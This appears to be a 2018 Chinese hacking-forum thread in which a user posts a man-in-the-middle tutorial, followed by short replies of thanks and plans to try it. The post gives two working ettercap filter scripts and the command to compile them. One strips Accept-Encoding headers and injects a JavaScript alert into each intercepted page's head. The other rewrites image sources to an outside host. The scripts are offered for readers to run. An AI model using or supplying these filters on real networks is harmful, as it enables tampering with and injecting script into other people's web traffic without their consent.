libo 发表于 2018-5-26 13:15:18

中间人攻击的那些事

今天看到管理员在微信公众平台发布的关于中间人攻击的手段,让我兴趣极高。自己也根据公众号的教程和自己的实践。动手操作,现在来和大家分享分享吧。
一:js注入弹出文字
我们先写一个脚本文件


if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<head>", "<head><script type="text/javascript">alert('hacker!');</script>");
replace("<HEAD>", "<HEAD><script type="text/javascript">alert('hacker!');</script>");
msg("注入成功!!\n");
}

我这里暂且这个文本命名为alert.filter,然后保存。

这个脚本可以替换替换HTML代码中的<head>,在后面加入<script type=”text/JavaScript”>alert(‘hacker!’);</script>玩Web的童鞋对这个应该很熟悉,就是在网页上弹出提示框的。要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件。使用如下命令编译:

etterfilter alert.filter -o alert.ef

然后在根据作者视频中的提示,loadafiler即可完成中间人攻击!
二:替换网页图片

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://xxxxx.com/jpe.jpg/&' ");
replace("IMG SRC=", "img src=http://xxxxx.com/jpe.jpg/&' ");
msg("过滤执行.\n");
}

后面的操作不变。载入文件后开始中间人攻击。则可完成对网页图片的替换。

priess1314 发表于 2018-5-26 13:22:59

成功了吗?我回去了也试试!

libo 发表于 2018-5-26 13:24:30

priess1314 发表于 2018-5-26 13:22
成功了吗?我回去了也试试!

嗯,按照我说的做!

juzhe 发表于 2018-7-23 14:56:58

嗯,按照我说的做!

小哥哥 发表于 2018-8-12 16:00:02

支持大佬!:liuhan:

te@ 发表于 2018-8-16 20:12:07

学习了!感谢分享:kaixin:
页: [1]
查看完整版本: 中间人攻击的那些事